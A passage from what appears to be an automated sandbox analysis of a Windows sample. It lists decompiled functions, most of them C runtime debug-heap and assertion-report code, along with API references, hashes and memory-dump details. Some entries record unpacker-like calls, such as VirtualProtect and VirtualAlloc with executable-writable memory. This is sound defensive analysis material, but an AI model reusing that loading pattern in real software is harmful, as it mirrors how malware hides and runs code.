							 *( *(_t174 + 0x18)) = 0xc;
						}
					}
					L50:
					 *(_t174 - 4) = 0xfffffffe;
					E0041D4EC();
					 *[fs:0x0] =  *((intOrPtr*)(_t174 - 0x10));
					return  *(_t174 - 0x20);
				}
				_t111 =  *0x43eac8(1, 0,  *((intOrPtr*)(_t174 + 8)),  *(_t174 + 0xc),  *(_t174 - 0x28),  *(_t174 + 0x10),  *((intOrPtr*)(_t174 + 0x14)));
				_t177 = _t177 + 0x1c;
				if(_t111 != 0) {
					goto L19;
				}
				if( *(_t174 + 0x10) == 0) {
					_t112 = L00426120(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t112 - 1;
					if(_t112 == 1) {
						asm("int3");
					}
					L18:
					goto L50;
				}
				_push( *((intOrPtr*)(_t174 + 0x14)));
				if(L00426120(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t174 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x0041d197
0x0041d19a
0x0041d1a8
0x0041d1aa
0x0041d1b2
0x0041d1b8
0x0041d1f0
0x0041d1f6
0x0041d1f6
0x0041d1f9
0x0041d1ba
0x0041d1c1
0x0041d1c3
0x0041d1c8
0x0041d1ca
0x0041d1cf
0x0041d1d4
0x0041d1d6
0x0041d1db
0x0041d1e1
0x0041d1e3
0x0041d1e3
0x0041d1e1
0x0041d1e4
0x0041d1e4
0x0041d1b8
0x0041d1ff
0x0041d204
0x0041d20e
0x0041d213
0x0041d219
0x0041d21b
0x0041d21b
0x0041d219
0x0041d223
0x0041d29a
0x0041d2a3
0x0041d2a6
0x0041d2a8
0x0041d2ad
0x0041d2b0
0x0041d2b2
0x0041d2b2
0x0041d2b0
0x0041d2b9
0x0041d2bd
0x0041d2fb
0x0041d2fe
0x0041d300
0x0041d304
0x0041d30f
0x0041d312
0x0041d314
0x0041d318
0x0041d32c
0x0041d331
0x0041d334
0x0041d337
0x0041d339
0x0041d339
0x0041d337
0x0041d318
0x0041d312
0x0041d304
0x0041d340
0x0041d347
0x0041d34f
0x0041d352
0x0041d356
0x0041d36c
0x0041d372
0x0041d375
0x0041d37b
0x0041d37f
0x0041d3d3
0x0041d3d6
0x0041d3e9
0x0041d3d8
0x0041d3d8
0x0041d3e1
0x0041d3e1
0x0041d3f3
0x0041d3fb
0x0041d400
0x0041d406
0x0041d40c
0x0041d40e
0x0041d414
0x0041d414
0x0041d41a
0x0041d421
0x0041d433
0x0041d423
0x0041d423
0x0041d42b
0x0041d42b
0x0041d43c
0x0041d442
0x0041d447
0x0041d454
0x0041d45d
0x0041d466
0x0041d46f
0x0041d478
0x0041d47e
0x0041d381
0x0041d384
0x0041d38d
0x0041d397
0x0041d3a1
0x0041d3ae
0x0041d3b4
0x0041d3be
0x0041d3be
0x0041d495
0x0041d4b2
0x0041d4cd
0x0041d4d8
0x0041d4d8
0x0041d4db
0x0041d358
0x0041d358
0x0041d35c
0x0041d361
0x0041d361
0x0041d367
0x0041d2bf
0x0041d2d0
0x0041d2d8
0x0041d2db
0x0041d2dd
0x0041d2dd
0x0041d2de
0x0041d2e2
0x0041d2e7
0x0041d2e7
0x0041d2ed
0x0041d4de
0x0041d4de
0x0041d4e5
0x0041d4fd
0x0041d50b
0x0041d50b
0x0041d23d
0x0041d243
0x0041d248
0x00000000
0x00000000
0x0041d24e
0x0041d287
0x0041d28f
0x0041d292
0x0041d294
0x0041d294
0x0041d295
0x00000000
0x0041d295
0x0041d253
0x0041d270
0x0041d272
0x0041d272
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 0041D1BA
__heap_alloc_base.LIBCMTD ref: 0041D347
_memset.LIBCMT ref: 0041D495
_memset.LIBCMT ref: 0041D4B2
_memset.LIBCMT ref: 0041D4CD

Strings

_CrtCheckMemory(), xrefs: 0041D1C3
Client hook allocation failure., xrefs: 0041D275
Error: memory allocation: bad memory block type., xrefs: 0041D31A
Client hook allocation failure at file %hs line %d., xrefs: 0041D258
Invalid allocation size: %Iu bytes., xrefs: 0041D2C3
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041D1CF

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: 81123af1f646c07e87686c6e3195475fd5d207d86b6d89097b22840b7d21cbb8
Instruction ID: 23f16887fc303a9127f376a7264edc2181980797604effa600bd8bd8ad7880c7
Opcode Fuzzy Hash: 81123af1f646c07e87686c6e3195475fd5d207d86b6d89097b22840b7d21cbb8
Instruction Fuzzy Hash: F7B17DB4A00205EBDB18CF49D945BEA77B0FB48304F20816AE9156B3D5C3B9ED81CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004338F0, Relevance: 4.5, APIs: 3, Instructions: 34librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(0044C670), ref: 00433927
GetProcAddress.KERNEL32(00000000,0044C670), ref: 00433967
VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 00433986

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: b9be86e4bd050a3b95ab549540c0cac4f226d950f2aab85d3d75a8cd605c4cdb
Instruction ID: 54217dbb1a4b4407273dcc08d97a54385cc2c5898b4bbe832c651a59b99ad1b9
Opcode Fuzzy Hash: b9be86e4bd050a3b95ab549540c0cac4f226d950f2aab85d3d75a8cd605c4cdb
Instruction Fuzzy Hash: D0014BB90872009AD380CFA4BE86B213BA8F757704B1AE93DE10497230DB701505CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 0041D0EF, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

Qa, xrefs: 0041D0E9

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: Qa
API String ID: 0-3901847582
Opcode ID: cd7cb3545969b2b0a639708e9601fff2e4bc5c22843f1bf158628c550e07cc12
Instruction ID: d16eaf48200723a72b17753717dfdb4dec968973173c29b7173e3832c71cc108
Opcode Fuzzy Hash: cd7cb3545969b2b0a639708e9601fff2e4bc5c22843f1bf158628c550e07cc12
Instruction Fuzzy Hash: 5D0116F1A00109FBDB14CF98D944BEB77B4AB48304F10805AF84587240D77CEA92CB55

Uniqueness

Uniqueness Score: -1.00%

Function 007E60F7, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 007E613F

Memory Dump Source

Source File: 00000000.00000002.684050031.00000000007E1000.00000040.00000001.sdmp, Offset: 007E1000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 0542123d67f120d9781c106aa70b37ae68eaf716b1639e8aa253050299600ee3
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: C1F0F635201718ABD7213BF69C8DB6E76E8AF5D364F100528F643D20C1DB78EC454661

Uniqueness

Uniqueness Score: -1.00%

Function 0041D51C, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041D57A

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 2e79ab648e70cc9f5051744f6eda956047ab6712c03fffc95f0acf049f05e845
Instruction ID: e5ca0a364d4f309c63433b0318540975bd2e69007d29f6cf8904ad38cea9a56c
Opcode Fuzzy Hash: 2e79ab648e70cc9f5051744f6eda956047ab6712c03fffc95f0acf049f05e845
Instruction Fuzzy Hash: A20128B5A00108FBCB04CF99D981A9E37B6AB88318F10C659F9198B284D634EE518B94

Uniqueness

Uniqueness Score: -1.00%

Function 0041F2C0, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,00419C8B,?,?,0041F430), ref: 0041F2C7

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: ed4a8128ed52ab140eb3f35ef0bba0a4a2dfa8ca8870f177defae48ad39da7b4
Instruction ID: 72f7487ba096e5e22ec2a4e67b1fd5a34666e42b8b81238b612e4369918e87e0
Opcode Fuzzy Hash: ed4a8128ed52ab140eb3f35ef0bba0a4a2dfa8ca8870f177defae48ad39da7b4
Instruction Fuzzy Hash: 01A01132088208A3C2802282A80AF823A0CC3C0B32F0002A0F20CA20A00AA2A80080AA

Uniqueness

Uniqueness Score: -1.00%

Function 004194D0, Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 004194D5

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 8fe4c74d94b76f862829b413dfd763538b3ea153fa9e8ce0e5063359b6d472a5
Instruction ID: d693b0634b8860421f1037343462e0646e7fd494b9c466050fcbd53567ace3e8
Opcode Fuzzy Hash: 8fe4c74d94b76f862829b413dfd763538b3ea153fa9e8ce0e5063359b6d472a5
Instruction Fuzzy Hash: 15A0022114865916016037AB145B95A768D48D071CBD5001AB518022031C9CBC8284FE

Uniqueness

Uniqueness Score: -1.00%

Function 007E5DB6, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 007E5E07

Memory Dump Source

Source File: 00000000.00000002.684050031.00000000007E1000.00000040.00000001.sdmp, Offset: 007E1000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: fa86a782a1b1fe58778a37c44d8689499ce1de0918ad10bd29dfb603057e19fa
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: AE113C79A00208EFDB01DF99C985E99BBF5AF08750F058094F9489B362D375EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Function 004338D0, Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,?,00434822), ref: 004338D8

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 5dde32f26578970b9a226dd92608706d005ee42e48f62ba9070ebeab5e67aa26
Instruction ID: 44761560fbd7b9823b0dba1c4ad2fb37360a84810ffa596ddefc6936ef4204fd
Opcode Fuzzy Hash: 5dde32f26578970b9a226dd92608706d005ee42e48f62ba9070ebeab5e67aa26
Instruction Fuzzy Hash: 02B092B1201200ABD3C08B90AC84F2436A4B748342F00002AF604C6160CA7024408A59

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004244B2, Relevance: 107.3, APIs: 39, Strings: 22, Instructions: 501
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E004244B2() {
				struct _OVERLAPPED* _t166;
				WCHAR* _t170;
				signed int _t181;
				long _t184;
				intOrPtr _t190;
				signed int _t195;
				void* _t200;
				void* _t203;
				void* _t207;
				struct _OVERLAPPED* _t215;
				struct _OVERLAPPED** _t216;
				intOrPtr _t233;
				void* _t243;
				void* _t244;
				void* _t245;
				signed int _t267;
				signed int _t269;
				void* _t303;
				void* _t304;
				void* _t305;
				void* _t306;
				signed int _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;

				if(InterlockedIncrement(0x43ead0) <= 0) {
					if( *((intOrPtr*)(_t307 + 0x18)) != 0) {
						 *(_t307 - 0x7038) =  *(L0041A7C0(_t245));
						 *(L0041A7C0(_t245)) = 0;
						_t282 =  *((intOrPtr*)(_t307 + 0x1c));
						_t233 = E0042B8A0(_t307 - 0x7030, 0x1000, 0xfeb,  *((intOrPtr*)(_t307 + 0x18)),  *((intOrPtr*)(_t307 + 0x1c)));
						_t309 = _t309 + 0x14;
						 *((intOrPtr*)(_t307 - 0x7034)) = _t233;
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041AF60( *(L0041A7C0(_t282)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x203, 0);
							_t309 = _t309 + 0x20;
						}
						 *(L0041A7C0(_t282)) =  *(_t307 - 0x7038);
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041A6E0(E00423480(_t282, _t307 - 0x7030, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t236, L"wcscpy_s(szUserMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x206, 0);
							_t309 = _t309 + 0x24;
						}
					}
					if( *(_t307 + 8) == 2) {
						if( *((intOrPtr*)(_t307 + 0x18)) == 0) {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed!";
						} else {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed: ";
						}
						E0041A6E0(E00423480( *((intOrPtr*)(_t307 - 0x8070)), _t307 - 0x5030, 0x1000,  *((intOrPtr*)(_t307 - 0x8070))), _t227, L"wcscpy_s(szLineMessage, 4096, szFormat ? L\"Assertion failed: \" : L\"Assertion failed!\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x20b, 0);
						_t309 = _t309 + 0x24;
					}
					_t246 = _t307 - 0x5030;
					E0041A6E0(E00422C50(_t307 - 0x5030, _t307 - 0x5030, 0x1000, _t307 - 0x7030), _t159, L"wcscat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x20d, 0);
					_t311 = _t309 + 0x24;
					if( *(_t307 + 8) == 2) {
						if(( *(0x43ead4 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
							_t246 = _t307 - 0x5030;
							E0041A6E0(E00422C50(_t307 - 0x5030, _t307 - 0x5030, 0x1000, "\r"), _t225, L"wcscat_s(szLineMessage, 4096, L\"\\r\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x212, 0);
							_t311 = _t311 + 0x24;
						}
						E0041A6E0(E00422C50(_t246, _t307 - 0x5030, 0x1000, "\n"), _t223, L"wcscat_s(szLineMessage, 4096, L\"\\n\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x214, 0);
						_t311 = _t311 + 0x24;
					}
					if( *(_t307 + 0xc) == 0) {
						E0041A6E0(E00423480(_t307 - 0x3028, _t307 - 0x3028, 0x1000, _t307 - 0x5030), _t162, L"wcscpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x222, 0);
						_t313 = _t311 + 0x24;
					} else {
						 *(_t307 - 0x703c) = 0;
						 *(_t307 - 0x7040) =  *(L0041A7C0(_t246));
						 *(L0041A7C0(_t246)) = 0;
						_push(_t307 - 0x5030);
						_push( *(_t307 + 0x10));
						_t279 = _t307 - 0x3028;
						_t215 = E00424CF0(_t307 - 0x3028, _t307 - 0x3028, 0x1000, 0x1000, L"%s(%d) : %s",  *(_t307 + 0xc));
						_t313 = _t311 + 0x1c;
						 *(_t307 - 0x703c) = _t215;
						if( *(_t307 - 0x703c) < 0) {
							E0041AF60( *((intOrPtr*)(L0041A7C0(_t279))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x21c, 0);
							_t313 = _t313 + 0x20;
						}
						_t216 = L0041A7C0(_t279);
						_t280 =  *(_t307 - 0x7040);
						 *_t216 =  *(_t307 - 0x7040);
						if( *(_t307 - 0x703c) < 0) {
							E0041A6E0(E00423480(_t280, _t307 - 0x3028, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t217, L"wcscpy_s(szOutMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x21e, 0);
							_t313 = _t313 + 0x24;
						}
					}
					 *(_t307 - 0x7044) = 0;
					_t285 = _t307 - 0x3028;
					_t166 = E0041AF60(L0042B260(0, _t307 - 0x1020, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x228, 0);
					_t315 = _t313 + 0x34;
					 *(_t307 - 0x7044) = _t166;
					if( *(_t307 - 0x7044) != 0) {
						E0041A6E0(E00429B10(_t307 - 0x1020, _t307 - 0x1020, 0x1000, "_CrtDbgReport: String too long or Invalid characters in String"), _t209, L"strcpy_s(szOutMessage2, 4096, \"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22a, 0);
						_t315 = _t315 + 0x24;
					}
					if( *0x4c8ae8 != 0 ||  *0x4c8ae4 != 0) {
						 *(_t307 - 0x704c) = 0;
						 *(_t307 - 0x7048) = 0;
						L00422470(0xf);
						_t315 = _t315 + 4;
						 *(_t307 - 4) = 1;
						_t285 =  *0x4c8ae8;
						 *(_t307 - 0x704c) =  *0x4c8ae8;
						while( *(_t307 - 0x704c) != 0) {
							 *(_t307 - 0x7050) = 0;
							_t285 =  *(_t307 - 0x704c);
							_t207 =  *(( *(_t307 - 0x704c))[6])( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7050);
							_t315 = _t315 + 0xc;
							if(_t207 == 0) {
								 *(_t307 - 0x704c) = ( *(_t307 - 0x704c))[2];
								continue;
							} else {
								 *(_t307 - 0x1024) =  *(_t307 - 0x7050);
								 *(_t307 - 0x302c) = 1;
							}
							break;
						}
						if( *(_t307 - 0x302c) == 0) {
							_t285 =  *0x4c8ae4;
							 *(_t307 - 0x7048) =  *0x4c8ae4;
							while( *(_t307 - 0x7048) != 0) {
								 *(_t307 - 0x7054) = 0;
								_t285 =  *(_t307 - 0x7048);
								_t203 =  *(( *(_t307 - 0x7048))[6])( *(_t307 + 8), _t307 - 0x3028, _t307 - 0x7054);
								_t315 = _t315 + 0xc;
								if(_t203 == 0) {
									 *(_t307 - 0x7048) = ( *(_t307 - 0x7048))[2];
									continue;
								} else {
									 *(_t307 - 0x1024) =  *(_t307 - 0x7054);
									 *(_t307 - 0x302c) = 1;
								}
								goto L43;
							}
						}
						L43:
						 *(_t307 - 4) = 0;
						E00424A2A();
					}
					if( *(_t307 - 0x302c) == 0) {
						if( *0x4c8ae0 != 0) {
							 *(_t307 - 0x7058) = 0;
							_t285 = _t307 - 0x7058;
							_t200 =  *0x4c8ae0( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7058);
							_t315 = _t315 + 0xc;
							if(_t200 != 0) {
								_t285 =  *(_t307 - 0x7058);
								 *(_t307 - 0x1024) =  *(_t307 - 0x7058);
								 *(_t307 - 0x302c) = 1;
							}
						}
						if( *(_t307 - 0x302c) == 0) {
							if(( *(0x43ead4 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
								_t285 =  *(_t307 + 8);
								if( *(0x43eae0 +  *(_t307 + 8) * 4) != 0xffffffff) {
									_t181 =  *(_t307 + 8);
									_t263 =  *(0x43eae0 + _t181 * 4);
									 *((intOrPtr*)(_t307 - 0x8074)) = GetFileType( *(0x43eae0 + _t181 * 4));
									if( *((intOrPtr*)(_t307 - 0x8074)) == 2) {
										_t184 = E00423450(_t263, _t307 - 0x3028);
										_t315 = _t315 + 4;
										_t285 =  *(_t307 + 8);
										if(WriteConsoleW( *(0x43eae0 +  *(_t307 + 8) * 4), _t307 - 0x3028, _t184, _t307 - 0x705c, 0) == 0) {
											if(GetLastError() == 6) {
												goto L57;
											} else {
											}
										} else {
										}
									} else {
										L57:
										 *(_t307 - 0x8064) = 0;
										_t190 = E0041AF60(L0042B260(_t307 - 0x8064, _t307 - 0x8060, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x27b, 0);
										_t315 = _t315 + 0x34;
										 *((intOrPtr*)(_t307 - 0x8068)) = _t190;
										if( *((intOrPtr*)(_t307 - 0x8068)) == 0 ||  *((intOrPtr*)(_t307 - 0x8068)) == 0x50) {
											if( *(_t307 - 0x8064) > 0) {
												 *(_t307 - 0x8064) =  *(_t307 - 0x8064) - 1;
											}
											_t267 =  *(_t307 + 8);
											_t285 =  *(0x43eae0 + _t267 * 4);
											WriteFile( *(0x43eae0 + _t267 * 4), _t307 - 0x8060,  *(_t307 - 0x8064), _t307 - 0x705c, 0);
										} else {
											_t195 = E00423450(_t307 - 0x705c, _t307 - 0x3028);
											_t315 = _t315 + 4;
											_t269 =  *(_t307 + 8);
											_t285 =  *(0x43eae0 + _t269 * 4);
											WriteFile( *(0x43eae0 + _t269 * 4), _t307 - 0x3028, _t195 << 1, _t307 - 0x705c, 0);
										}
									}
								}
							}
							if(( *(0x43ead4 +  *(_t307 + 8) * 4) & 0x00000002) != 0) {
								_t285 = _t307 - 0x3028;
								OutputDebugStringW(_t307 - 0x3028);
							}
							if(( *(0x43ead4 +  *(_t307 + 8) * 4) & 0x00000004) != 0) {
								 *(_t307 - 0x5030) = 0;
								if( *(_t307 + 0x10) != 0) {
									E0041A6E0(E0042B8D0( *(_t307 + 0x10),  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t179, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x299, 0);
									_t315 = _t315 + 0x28;
								}
								asm("sbb ecx, ecx");
								_t285 = _t307 - 0x5030;
								 *(_t307 - 0x1024) = E0041AB60(_t243, _t307 - 0x5030, _t303, _t305,  *(_t307 + 8),  *(_t307 + 0xc),  ~( *(_t307 + 0x10)) & _t307 - 0x00005030,  *((intOrPtr*)(_t307 + 0x14)), _t307 - 0x7030);
							}
						}
					}
				} else {
					_t241 = E0041A6E0(E0042B8D0(_t307 - 0x5030,  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t240, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1ed, 0);
					OutputDebugStringW(L"Second Chance Assertion Failed: File ");
					if( *(_t307 + 0xc) == 0) {
						 *(_t307 - 0x806c) = L"<file unknown>";
					} else {
						_t241 =  *(_t307 + 0xc);
						 *(_t307 - 0x806c) =  *(_t307 + 0xc);
					}
					OutputDebugStringW( *(_t307 - 0x806c));
					OutputDebugStringW(L", Line ");
					_t285 = _t307 - 0x5030;
					OutputDebugStringW(_t307 - 0x5030);
					OutputDebugStringW("\n");
					E00423B80(_t241);
					 *(_t307 - 0x1024) = 0xffffffff;
				}
				 *(_t307 - 4) = 0xfffffffe;
				E00424CB7();
				_t170 =  *(_t307 - 0x1024);
				 *[fs:0x0] =  *((intOrPtr*)(_t307 - 0x10));
				_pop(_t304);
				_pop(_t306);
				_pop(_t244);
				return E00422570(_t170, _t244,  *(_t307 - 0x1c) ^ _t307, _t285, _t304, _t306);
			}

0x004244bf
0x0042456c
0x00424579
0x00424584
0x0042458a
0x004245a3
0x004245a8
0x004245ab
0x004245b8
0x004245dc
0x004245e1
0x004245e1
0x004245ef
0x004245f8
0x0042462a
0x0042462f
0x0042462f
0x004245f8
0x00424636
0x0042463c
0x0042464a
0x0042463e
0x0042463e
0x0042463e
0x00424686
0x0042468b
0x0042468b
0x004246b0
0x004246c0
0x004246c5
0x004246cc
0x004246db
0x004246fd
0x0042470d
0x00424712
0x00424712
0x00424745
0x0042474a
0x0042474a
0x00424751
0x00424861
0x00424866
0x00424757
0x00424757
0x00424768
0x00424773
0x0042477f
0x00424783
0x00424797
0x0042479e
0x004247a3
0x004247a6
0x004247b3
0x004247d7
0x004247dc
0x004247dc
0x004247df
0x004247e4
0x004247ea
0x004247f3
0x00424825
0x0042482a
0x0042482a
0x0042482d
0x00424869
0x0042488f
0x004248ad
0x004248b2
0x004248b5
0x004248c2
0x004248f4
0x004248f9
0x004248f9
0x00424903
0x00424912
0x0042491c
0x00424928
0x0042492d
0x00424930
0x00424937
0x0042493d
0x00424954
0x0042495d
0x00424979
0x00424982
0x00424984
0x00424989
0x0042494e
0x00000000
0x0042498b
0x00424991
0x00424997
0x00424997
0x00000000
0x00424989
0x004249ac
0x004249ae
0x004249b4
0x004249cb
0x004249d4
0x004249f0
0x004249f9
0x004249fb
0x00424a00
0x004249c5
0x00000000
0x00424a02
0x00424a08
0x00424a0e
0x00424a0e
0x00000000
0x00424a00
0x004249cb
0x00424a1c
0x00424a1c
0x00424a23
0x00424a23
0x00424a3c
0x00424a49
0x00424a4b
0x00424a55
0x00424a67
0x00424a6d
0x00424a72
0x00424a74
0x00424a7a
0x00424a80
0x00424a80
0x00424a72
0x00424a91
0x00424aa4
0x00424aaa
0x00424ab5
0x00424abb
0x00424abe
0x00424acc
0x00424ad9
0x00424aed
0x00424af2
0x00424afd
0x00424b10
0x00424b20
0x00000000
0x00000000
0x00424b22
0x00000000
0x00424b12
0x00424adb
0x00424b27
0x00424b27
0x00424b70
0x00424b75
0x00424b78
0x00424b85
0x00424bcc
0x00424bd7
0x00424bd7
0x00424bf4
0x00424bf7
0x00424bff
0x00424b90
0x00424ba0
0x00424ba5
0x00424bb2
0x00424bb5
0x00424bbd
0x00424bbd
0x00424b85
0x00424ad9
0x00424ab5
0x00424c12
0x00424c14
0x00424c1b
0x00424c1b
0x00424c2e
0x00424c32
0x00424c3d
0x00424c70
0x00424c75
0x00424c75
0x00424c88
0x00424c8a
